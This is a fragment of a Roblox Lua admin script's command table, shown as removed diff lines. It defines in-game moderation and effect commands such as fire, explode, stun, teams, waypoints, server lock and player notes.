- [{"commandbar", "cmdbar", "cbar", "commandgui", "cmdgui", "cgui", "commandbox", "cmdbox", "cbox"}] = {"", "Gives you a command bar to enter commands", 0, "Member", false, function(Speaker, Rank, Arguments)
- GUI:CommandBar(Speaker)
- end};
- [{"permcommandbar", "permcmdbar", "permcommandgui", "permcmdgui"}] = {"", "Gives you a command bar for each time you spawn", 0, "Admin", false, function(Speaker, Rank, Arguments)
- GUI:CommandBar(Speaker)
- PermCommandBars[Speaker.Name] = true
- end};
- [{"nopermcommandbar", "nopermcmdbar", "nopermcommandgui", "nopermcmdgui", "unpermcommandbar", "unpermcmdbar", "unpermcommandgui", "unpermcmdgui"}] = {"", "If you are in the perm command bar list, it takes you out(You keep command bar for current spawn)", 0, "Admin", false, function(Speaker, Rank, Arguments)
- PermCommandBars[Speaker.Name] = nil
- end};
- [{"remotenopermcommandbar", "remotenopermcmdbar", "remotenopermcommandgui", "remotenopermcmdgui", "remoteunpermcommandbar", "remoteunpermcmdbar", "remoteunpermcommandgui", "remoteunpermcmdgui"}] = {"player", "If player is in the perm command bar list, it takes player out(player keep command bar for current spawn)", 1, "Owner", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- PermCommandBars[Player.Name] = nil
- end
- end};
- [{"dummy", "newdummy", "dum", "figure"}] = {"", "Creates a dummy", 0, "Member", false, function(Speaker, Rank, Arguments)
- CORE:CreateFigure("Dummy", nil, true, Speaker)
- end};
- [{"namedummy", "dummyname", "namenewdummy", "namedum", "dumname", "namefigure", "ndummy", "nnewdummy", "ndum", "nfigure"}] = {"string", "Creates a dummy named string", 1, "Member", false, function(Speaker, Rank, Arguments)
- CORE:CreateFigure(Arguments[1], nil, true, Speaker)
- end};
- [{"clone", "copy"}] = {"player", "Creates clone of player", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- CORE:ClonePlayer(Player)
- end
- end};
- [{"nameclone", "clonename", "namecopy", "nclone", "ncopy"}] = {"player string", "Creates clone of player named string", 2, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- CORE:ClonePlayer(Player, Arguments[2])
- end
- end};
- [{"clear", "clr"}] = {"", "Clears debris in workspace left by the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
- for _,Obj in pairs(Objects) do
- if Obj then Obj:Destroy() end
- end
- for Name,Jail in pairs(Jails) do
- if not game.Players:FindFirstChild(Name) then
- Jail:Destroy()
- Jails[Name] = nil
- end
- end
- Objects = {}
- end};
- [{"clean", "cln"}] = {"", "Clears debris in workspace by players", 0, "Member", false, function(Speaker, Rank, Arguments)
- for _,Obj in pairs(Server.Workspace:GetChildren()) do
- if Obj:IsA("Accoutrement") or Obj:IsA("Tool") then
- Obj:Destroy()
- end
- end
- end};
- [{"sparkles", "sparks"}] = {"player", "Adds a sparkling effect to player", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character and Player.Character:FindFirstChild("Torso") then
- local Sparkles = Instance.new("Sparkles", Player.Character.Torso) table.insert(Objects, Sparkles)
- end
- end
- end};
- [{"fire"}] = {"player", "Makes player catch on fire", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character and Player.Character:FindFirstChild("Torso") then
- local Fire = Instance.new("Fire", Player.Character.Torso) table.insert(Objects, Fire)
- end
- end
- end};
- [{"smoke"}] = {"player", "Adds a sparkling effect to player", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character and Player.Character:FindFirstChild("Torso") then
- local Smoke = Instance.new("Smoke", Player.Character.Torso) table.insert(Objects, Smoke)
- end
- end
- end};
- [{"nosparkles", "nosparks", "unsparkles", "unsparks"}] = {"player", "Removes any sparkling effects to player", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character and Player.Character:FindFirstChild("Torso") then
- for _,Get in pairs(Player.Character.Torso:GetChildren()) do
- if Get:IsA("Sparkles") then
- Get:Destroy()
- end
- end
- end
- end
- end};
- [{"nofire", "unfire"}] = {"player", "Removes player's fire effects", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character and Player.Character:FindFirstChild("Torso") then
- for _,Get in pairs(Player.Character.Torso:GetChildren()) do
- if Get:IsA("Fire") then
- Get:Destroy()
- end
- end
- end
- end
- end};
- [{"nosmoke", "unsmoke"}] = {"player", "Removes player's smoke effects", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character and Player.Character:FindFirstChild("Torso") then
- for _,Get in pairs(Player.Character.Torso:GetChildren()) do
- if Get:IsA("Smoke") then
- Get:Destroy()
- end
- end
- end
- end
- end};
- [{"explode", "explosion"}] = {"player", "Explodes player and everything around player", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character and Player.Character:FindFirstChild("Torso") then
- SOUND:MakeSound(Player.Character.Torso, 187137543, 1, 1, false):Play()
- local Boom = Instance.new("Explosion", Workspace)
- Boom.Position = Player.Character.Torso.Position
- end
- end
- end};
- [{"splode", "smite"}] = {"player", "Explodes player 50 times and everything around player", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character and Player.Character:FindFirstChild("Torso") then
- coroutine.wrap(function() for i = 1,50 do
- local Boom = Instance.new("Explosion", Workspace)
- Boom.Position = Player.Character.Torso.Position
- wait()
- end end)()
- coroutine.wrap(function() for i = 1,5 do
- SOUND:MakeSound(Player.Character.Torso, 187137543, 1, 1, false):Play()
- end end)()
- end
- end
- end};
- [{"superjump", "nograv", "lowgrav"}] = {"player", "Enables player to be able to jump super high", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character and Player.Character:FindFirstChild("Torso") then
- local Force = Player.Character.Torso:FindFirstChild("LMM SJ") if Force then Force:Destroy() end
- Force = Instance.new("BodyForce", Player.Character.Torso) Force.Name = "LMM SJ" Force.force = Vector3.new(0,0,0)
- CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj) Force.force = Force.force + Vector3.new(0,Obj:GetMass() * 150,0) end)
- end
- end
- end};
- [{"normaljump", "grav", "nosuperjump", "unsuperjump"}] = {"player", "Disables player to be able to jump super high", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character and Player.Character:FindFirstChild("Torso") then
- local Force = Player.Character.Torso:FindFirstChild("LMM SJ") if Force then Force:Destroy() end
- end
- end
- end};
- [{"punish"}] = {"player", "Punishes player by removing player's character", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character then
- Player.Character.Parent = Server.Lighting
- end
- end
- end};
- [{"nopunish", "unpunish"}] = {"player", "Undoes the punish effect on player", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character then
- Player.Character.Parent = Server.Workspace
- Player.Character:MakeJoints()
- end
- end
- end};
- [{"stun", "platformstand"}] = {"player", "Stuns player so he cannot move", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character and Player.Character:FindFirstChild("Humanoid") then
- Player.Character.Humanoid.PlatformStand = true
- end
- end
- end};
- [{"nostun", "unstun", "noplatformstand", "unplatformstand", "stand"}] = {"player", "Undoes the stun effect on player", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character and Player.Character:FindFirstChild("Humanoid") then
- Player.Character.Humanoid.PlatformStand = false
- end
- end
- end};
- [{"jump"}] = {"player", "Makes player jump", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character and Player.Character:FindFirstChild("Humanoid") then
- Player.Character.Humanoid.Jump = true
- end
- end
- end};
- [{"sit", "sitdown"}] = {"player", "Makes player sit down", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character and Player.Character:FindFirstChild("Humanoid") then
- Player.Character.Humanoid.Sit = true
- end
- end
- end};
- [{"nosit", "unsit", "nositdown", "unsitdown", "stand", "standup"}] = {"player", "Makes player stand up if sitting down", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character and Player.Character:FindFirstChild("Humanoid") then
- Player.Character.Humanoid.Sit = false
- end
- end
- end};
- [{"spin", "turn", "spinaround"}] = {"player", "Makes player spin around", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character and Player.Character:FindFirstChild("Torso") then
- local Spin = Instance.new("BodyAngularVelocity", Player.Character.Torso) Spin.Name = "MML Spin" Spin.maxTorque = Vector3.new(0, math.huge, 0) Spin.angularvelocity = Vector3.new(0,20,0)
- end
- end
- end};
- [{"nospin", "unspin", "noturn", "unturn", "nospinaround", "unspinaround"}] = {"player", "Stops player from spinning around", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character and Player.Character:FindFirstChild("Torso") then
- local Spin = Player.Character.Torso:FindFirstChild("MML Spin") if Spin then Spin:Destroy() end
- end
- end
- end};
- [{"port"}] = {"", "Gets the server network port", 0, "Owner", false, function(Speaker, Rank, Arguments)
- GUI:SendMessage(Speaker, "Server Port", "The server port for this server is: "..Server.NS.Port, "Information")
- end};
- [{"chat"}] = {"player (color) string", "Makes player chat string. If color is available the color will be set to it", 2, "Member", false, function(Speaker, Rank, Arguments)
- local Color = "Blue"
- local String = Arguments[2]
- local ChatSplit = STRING:GetSplit(String, 1, Settings.Bet)
- if #ChatSplit >= 2 then
- if string.lower(ChatSplit[1]) == "green" then
- Color = "Green"
- String = ChatSplit[2]
- elseif string.lower(ChatSplit[1]) == "red" then
- Color = "Red"
- String = ChatSplit[2]
- end
- end
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character and Player.Character:FindFirstChild("Head") then
- game:GetService("Chat"):Chat(Player.Character.Head, STRING:DetermineFilter(String, Speaker, Player), Color)
- end
- end
- end};
- [{"missile", "mis", "rocket"}] = {"player", "Turns player into a missile. Use with care!", 1, "Admin", true, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character then
- CORE:ExecuteResource("Missile", Player.Character, {["Color"] = GUI:GetColor()})
- end
- end
- end};
- [{"face"}] = {"player num(ID)", "Changes player's faces player num(ID) (must be decal/image)", 2, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- local ID = nil
- if tonumber(Arguments[2]) ~= nil then
- ID = MARKET:GetImageFormat(tonumber(Arguments[2]))
- else
- for FaceTable,FaceID in pairs({[{":3", "=3", ";3"}] = "45448697", [{":D", "=D", ";D"}] = "40528907", [{"D:", "D=", "D;"}] = "147285493", [{":(", "=(", ";(", "):", ")=", ");"}] = "67493660", [{":)", "=)", ";)", "(:", "(=", "(;"}] = "41420967", [{":o", "=o", ";o", "o:", "o=", "o;", ":0", "=0", ";0", "0:", "0=", "0;"}] = "14995229", [{":P", "=P", ";P"}] = "35853859", [{":/", "=/", ";/", "/:", "/=", "/;", [[:\]], [[=\]], [[;\]], [[\:]], [[\=]], [[\;]]}] = "141764028", [{":I", "=I", ";I", "I:", "I=", "I;", ":|", "=|", ";|", "|:", "|=", "|;"}] = "14922431"}) do
- for _,Face in pairs(FaceTable) do
- if string.lower(Arguments[2]) == string.lower(Face) then
- ID = FaceID
- break
- end
- end
- end
- end
- if ID then
- for _,Player in pairs(Players) do
- if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
- Player.Character.Head.face.Texture = "rbxassetid://"..ID
- pcall(function() Player.Character.Label:GetChildren()[1].Head.Texture = "rbxassetid://"..ID end)
- end
- end
- end
- end};
- [{"overlay", "ol"}] = {"player num(ID)", "Turns player's head into a 2D images of num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- local ID = MARKET:GetImageFormat(tonumber(Arguments[2]))
- for _,Player in pairs(Players) do
- if Player.Character and Player.Character:FindFirstChild("Head") then
- local BB = Player.Character.Head:FindFirstChild("MMLA Overlay") if BB then BB:Destroy() end
- BB = Instance.new("BillboardGui", Player.Character.Head) BB.Name = "MMLA Overlay" BB.AlwaysOnTop = true BB.Size = UDim2.new(1,0,1,0) BB.Adornee = Player.Character.Head
- local Image = Instance.new("ImageLabel", BB) Image.BackgroundTransparency = 1 Image.Image = "rbxassetid://"..ID Image.Position = UDim2.new(-0.5,0,-0.5,0) Image.Size = UDim2.new(2,0,2,0)
- end
- end
- end};
- [{"nooverlay", "unoverlay", "nool", "unol"}] = {"player", "Removes any overlay on player's head from the overlay command", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character and Player.Character:FindFirstChild("Head") then
- local BB = Player.Character.Head:FindFirstChild("MMLA Overlay") if BB then BB:Destroy() end
- end
- end
- end};
- [{"notify"}] = {"string", "Sends string as a packet to the owner remotely", 1, "Admin", false, function(Speaker, Rank, Arguments)
- REMOTE:SendHttpLog(Speaker.Name.." Sent Notification: "..Arguments[1], "NOTIFICATION", Speaker)
- end, Http = true};
- [{"downloadlogs", "downloadhttplogs", "getlogs", "gethttplogs"}] = {"", "Downloads http logs sent by all admins using RemoteAdmin with a DataKey from the Linked Account", 0, "Admin", false, function(Speaker, Rank, Arguments)
- GUI:ListGui(Speaker, "Http Logs", CORE:ReverseTable(REMOTE:DownloadUserdata(false).Logs), "Log")
- end, Http = true};
- [{"note"}] = {"player string", "Saves string to player to all servers", 2, "Admin", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- local ExistingData = Player:LoadInstance("Data")
- if ExistingData == nil then
- ExistingData = Instance.new("Configuration")
- end
- ExistingData.Name = "Player Data"
- local Key = Instance.new("Configuration", ExistingData)
- Key.Name = Arguments[2]
- Player:SaveInstance("Data", ExistingData)
- end
- end};
- [{"removenote", "noteremove"}] = {"player string", "Removes any note starting with string", 2, "Admin", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- local Data = Arguments[2]
- for _,Player in pairs(Players) do
- local ExistingData = Player:LoadInstance("Data")
- if ExistingData ~= nil then
- if string.lower(Data) == "all" then
- ExistingData:ClearAllChildren()
- else
- for _,DataObj in pairs(ExistingData:GetChildren()) do
- if string.sub(string.lower(DataObj.Name),1,#Data) == string.lower(Data) then
- DataObj:Destroy()
- end
- end
- end
- end
- Player:SaveInstance("Data", ExistingData)
- end
- end};
- [{"shownotes", "shownote", "loadnotes", "loadnote", "notes", "getnotes", "getnote"}] = {"player", "Shows the saved notes of player", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- local DataSet = {}
- for _,Player in pairs(Players) do
- local ExistingData = Player:LoadInstance("Data")
- if ExistingData ~= nil then
- if #ExistingData:GetChildren() ~= 0 then
- for _,Data in pairs(ExistingData:GetChildren()) do
- table.insert(DataSet, Player.Name..": "..Data.Name)
- end
- else
- table.insert(DataSet, "Data does not exist for "..Player.Name)
- end
- else
- table.insert(DataSet, "Data does not exist for "..Player.Name)
- end
- end
- GUI:ListGui(Speaker, "Notes", DataSet)
- end};
- [{"forwards", "forward"}] = {"player", "Makes player walk forward at normal walkspeed", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character and Player.Character:FindFirstChild("Humanoid") then
- Player.Character.Humanoid.WalkSpeed = 16
- end
- end
- end};
- [{"backwards", "backward"}] = {"player", "Makes player walk backwards(reverse keys) at normal walkspeed", 1, "Member", true, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character and Player.Character:FindFirstChild("Humanoid") then
- Player.Character.Humanoid.WalkSpeed = -16
- end
- end
- end};
- [{"teamnew", "teamcreate", "newteam", "createteam"}] = {"string", "Creates a new team named string. If a color is detected, the team color will be set to it.", 1, "Member", false, function(Speaker, Rank, Arguments)
- local TeamColor = BrickColor.random()
- local TeamName = Arguments[1]
- local TeamNameSplit = STRING:GetSplit(TeamName, 1, " ")
- if #TeamNameSplit >= 2 then
- local Color = TeamNameSplit[1]
- local NewTeamName = TeamNameSplit[2]
- if Color == "Medium stone grey" then
- TeamColor = BrickColor.new(Color)
- TeamName = NewTeamName
- elseif BrickColor.new(Color) ~= BrickColor.new("Medium stone grey") then
- TeamColor = BrickColor.new(Color)
- TeamName = NewTeamName
- elseif Colors[string.upper(Color)] then
- TeamColor = BrickColor.new(GUI:GetColor(string.upper(Color)))
- TeamName = NewTeamName
- end
- end
- local NewTeam = Instance.new("Team", Server.Teams)
- NewTeam.TeamColor = TeamColor
- NewTeam.Name = TeamName
- end};
- [{"leaveteam", "teamleave"}] = {"player", "Makes player be on no team", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- Player.Neutral = true
- end
- end};
- [{"team", "teamjoin", "jointeam"}] = {"player string", "Makes it so player joints team string", 2, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- if string.lower(Arguments[2]) == "none" then
- for _,Player in pairs(Players) do
- Player.Neutral = true
- end
- else
- for _,Obj in pairs(Server.Teams:GetChildren()) do
- if Obj:IsA("Team") then
- if string.sub(string.lower(Obj.Name),1,#Arguments[2]) == string.lower(Arguments[2]) then
- for _,Player in pairs(Players) do
- Player.Neutral = false
- Player.TeamColor = Obj.TeamColor
- end
- end
- end
- end
- end
- end};
- [{"noteam", "unteam", "nonewteam", "unnewteam"}] = {"string", "Finds the team named string and removes it", 1, "Member", false, function(Speaker, Rank, Arguments)
- for _,Obj in pairs(Server.Teams:GetChildren()) do
- if Obj:IsA("Team") then
- if string.sub(string.lower(Obj.Name),1,#Arguments[1]) == string.lower(Arguments[1]) then
- for _,Player in pairs(Server.Players:GetPlayers()) do
- if Player.TeamColor == Obj.TeamColor then
- Player.Neutral = true
- end
- end
- Obj:Destroy()
- end
- end
- end
- end};
- [{"clearteams", "cleanteams"}] = {"", "Clears all teams", 0, "Member", false, function(Speaker, Rank, Arguments)
- for _,Player in pairs(Server.Players:GetPlayers()) do
- Player.Neutral = true
- end
- for _,Obj in pairs(Server.Teams:GetChildren()) do
- if Obj:IsA("Team") then
- Obj:Destroy()
- end
- end
- end};
- [{"countdown", "count", "ticker"}] = {"num", "Counts down an alarm from num", 1, "Member", false, function(Speaker, Rank, Arguments)
- for _,Player in pairs(Server.Players:GetPlayers()) do
- GUI:Countdown(Player, Arguments[1])
- end
- end};
- [{"showad", "ad"}] = {"player", "Shows an ad to player(As of now, only people on mobile devices can see)", 1, "Admin", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player:FindFirstChild("Backpack") then
- CORE:ExecuteResource("ShowAd", Player.Backpack)
- end
- end
- end};
- [{"warp", "warpto"}] = {"player string", "Warps player to the point of string", 2, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character then
- for PosName,WP in pairs(Waypoints) do
- if string.sub(string.lower(PosName),1,#Arguments[2]) == string.lower(Arguments[2]) then
- Player.Character:MoveTo(WP + Vector3.new(0,0.5,0))
- break
- end
- end
- end
- end
- end};
- [{"waypoint", "addwaypoint"}] = {"string num(X) num(Y) num(Z)", "Adds a waypoint to warp named string with the XYZ coordinates", 4, "Admin", false, function(Speaker, Rank, Arguments)
- CORE:AddWaypoint(Arguments[1], Vector3.new(Arguments[2], Arguments[3], Arguments[4]), Speaker)
- end};
- [{"removewaypoint", "deletewaypoint", "destroywaypoint", "nowaypoint", "unwaypoint"}] = {"string", "Removes any waypoint named string", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Num = 0
- for PosName,WP in pairs(Waypoints) do
- Num = Num + 1
- if string.sub(string.lower(PosName),1,#Arguments[1]) == Arguments[1] then
- Waypoints[PosName] = nil
- end
- end
- end};
- [{"waypoints", "viewwaypoints", "waypointlist", "listwaypoints"}] = {"", "Views all waypoints to warp to", 0, "Member", false, function(Speaker, Rank, Arguments)
- local WaypointHolder,WaypointRaw = {},{}
- for Name, WP in pairs(Waypoints) do
- local View = Name..": "..tostring(WP)
- table.insert(WaypointHolder, View)
- WaypointRaw[View] = WP
- end
- local Clicked = GUI:ListGui(Speaker, "Waypoint List", WaypointHolder, "Map")
- Clicked.Event:connect(function(Text)
- local Waypoint = WaypointRaw[Text]
- if Waypoint then
- if Speaker.Character then
- Speaker.Character:MoveTo(Waypoint)
- end
- end
- end)
- end};
- [{"list", "listplayer", "listplayers"}] = {"player", "Lists the player(s) in a gui list", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- local List = {}
- for _,Player in pairs(Players) do
- table.insert(List, Player.Name.." (ID: "..Player.UserId..")")
- end
- GUI:ListGui(Speaker, "Listed Players", List)
- end};
- [{"givepoints"}] = {"player num", "Gives num playerpoints to player", 2, "Owner", false, function(Speaker, Rank, Arguments)
- if tonumber(Arguments[1]) then
- ypcall(function() Server.PS:AwardPoints(tonumber(Arguments[1]), tonumber(Arguments[2])) end)
- else
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- ypcall(function() Server.PS:AwardPoints(Player.UserId, tonumber(Arguments[2])) end)
- end
- end
- end};
- [{"friends", "getfriends", "listfriends", "showfriends"}] = {"player", "Shows all the friends player is friends with in the server", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- local Friends,OneFriend = {}, false
- for _,Player in pairs(Players) do
- for _,User in pairs(Server.Players:GetPlayers()) do if User ~= Player then
- --[[if Player:IsBestFriendsWith(User.UserId) then
- table.insert(Friends, Player.Name.." is best friends with "..User.Name)
- OneFriend = true
- ]]
- if Player:IsFriendsWith(User.UserId) then
- table.insert(Friends, Player.Name.." is friends with "..User.Name)
- OneFriend = true
- end
- if _ == #Server.Players:GetPlayers() and OneFriend == false then
- table.insert(Friends, Player.Name.." has no friends in this server (Loner)")
- end
- end end
- end
- GUI:ListGui(Speaker, "Friend List", Friends)
- end};
- [{"serverlock", "lockserver"}] = {"", "Locks the server to prevent non-admins from joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
- Settings.ServerLocked = true
- GUI:MessageAdmins("Server Locked", "The server has been locked. Only admins can join at this point.", 10, "Lock")
- end};
- [{"noserverlock", "unserverlock", "unlockserver", "nolockserver", "nolock", "unlock"}] = {"", "Unlocks the server to enable non-admin joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
- Settings.ServerLocked = false
- GUI:MessageAdmins("Server Unlocked", "The server has been unlocked. Anyone not banned or crashed can join", 10, 11344402)
- end};
- [{"minage", "minimumage", "restrictage"}] = {" num", "Restricts any player that is younger than the age(in days) num from joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
- local OldAge = Settings.MinimumAge
- local Age = tostring(Arguments[1])
- if Age then
- Settings.MinimumAge = Age
- GUI:MessageAdmins("Minumum age change", "The minimum age required to join this server is now "..Age.." days old(was "..OldAge.." days old)", 10)
- end
- end};
- [{"vipadmin", "adminvip"}] = {"", "Prompts speaker the VIP item to grant Admin level permissions", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
- if Settings.VIPAdminID <= 1 then
- MARKET:PromptPurchase(Speaker, VIPAdminID)
- else
- CORE:SendMessage(Speaker, "No Admin VIP", "The creator ("..GameOwner..") did not add a admin rank VIP to Make".."rModelLua's Admin", 7)
- end
- end};
- [{"vipmember", "membervip"}] = {"", "Prompts speaker the VIP item to grant Member level permissions", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
- if Settings.VIPMemberID <= 1 then
- MARKET:PromptPurchase(Speaker, VIPMemberID)
- else
- CORE:SendMessage(Speaker, "No Member VIP", "The creator ("..GameOwner..") did not add a member rank VIP to Make".."rModelLua's Admin", 7)
- end
- end};
- [{"headsize", "sizehead", "resizehead", "headresize"}] = {"player num", "Resizes player's head to num. 100 = normal size 200 = double size 50 = half size", 2, "Member", true, function(Speaker, Rank, Arguments)
- if tonumber(Arguments[2]) then
- local Players = STRING:Scan(Arguments[1], Speaker)
- local Size = tonumber(Arguments[2])+25
- for _,Player in pairs(Players) do
- if Player.Character then
- if Player.Character:FindFirstChild("Head") then
- if Player.Character.Head:FindFirstChild("Mesh") then
- Player.Character.Head.Mesh.Scale = Vector3.new(Size/100,Size/100,Size/100)
- end
- end
- end
- end
- end
- end};
- [{"control"}] = {"player", "Allows speaker to take control of player", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character and Player.Character:FindFirstChild("Torso") then
- CORE:ChangeCharacter(Speaker, Player.UserId, false, Speaker, true, Player.Character.Torso.Position)
- Player.Character.Parent = nil
- CORE:ExecuteResource("CameraControl", Player.Backpack, {["Speaker"] = Speaker})
- end
- end
- end};
- [{"settings"}] = {"", "Shows settings to speaker. If high enough rank, the speaker can edit settings", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
- GUI:SettingsGui(Speaker)
- end};
- [{"hasasset", "ownsasset"}] = {"player num(ID)", "Shows if player has asset num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
- if tonumber(Arguments[2]) then
- local Players = STRING:Scan(Arguments[1], Speaker)
- local List = {}
- for _,Player in pairs(Players) do
- if Server.MPS:PlayerOwnsAsset(Player, tonumber(Arguments[2])) then
- table.insert(List, Player.Name)
- end
- end
- GUI:ListGui(Speaker, "Players who have asset ID: "..Arguments[2], List, 23916171)
- end
- end};
- [{"reck", "rek", "rekt", "shrekt", "wreck", "noscope", "mlg"}] = {"player", "rekts player in a haxy way", 1, "Member", true, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character and Player.Character:FindFirstChild("Head") then
- local Char = Player.Character
- Char:BreakJoints()
- CORE:ScanItems(Char, {"BasePart"}, function(Obj)
- Obj.Anchored = true
- for _,Face in pairs({"Top", "Bottom", "Right", "Left", "Front", "Back"}) do
- local Decal = Instance.new("Decal", Obj)
- Decal.Texture = "rbxassetid://178913323"
- Decal.Face = Face
- end
- end)
- local Sound1 = SOUND:MakeSound(Char.Head, 131509782, 1, 1)
- local Sound2 = SOUND:MakeSound(Char.Head, 179497874, 1, 1)
- Sound1:Play() Sound2:Play()
- coroutine.wrap(function()
- coroutine.wrap(function() wait(4.9) Sound1:Stop() Sound2:Stop() end)()
- repeat wait()
- CORE:ScanItems(Char, {"BasePart"}, function(Obj)
- SOUND:MakeSound(Char.Head, "rbxasset://sounds/uuhhh.mp3", 1, math.random(80,120)/100):Play()
- Obj.Transparency = math.random(0,30)/100
- Obj.Reflectance = math.random(0,50)/100
- Obj.CFrame = Obj.CFrame * CFrame.new(math.random(-10,10),math.random(-5,10),math.random(-10,10)) * CFrame.Angles(math.rad(math.random(0,360)),math.rad(math.random(0,360)),math.rad(math.random(0,360)))
- end)
- until Char ~= Player.Character or Char.Parent == nil
- end)()
- end
- end
- end, Hidden = true};
- [{"define", "lookup", "definition"}] = {"string", "Looks up the word on webster's online dictionary", 1, "Member", false, function(Speaker, Rank, Arguments)
- GUI:SendMessage(Speaker, "Definition of "..Arguments[1], REMOTE:DefineWord(Arguments[1]), 185923691)
- end, Http = true};
- [{"neon", "glow"}] = {"player", "Makes player glow like a neon light", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character then
- CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
- Obj.Material = "Neon"
- end)
- end
- end
- end};
- [{"noneon", "noglow", "unneon", "unglow"}] = {"player", "Removes any glowing neon from player", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character then
- CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
- Obj.Material = "Plastic"
- end)
- end
- end
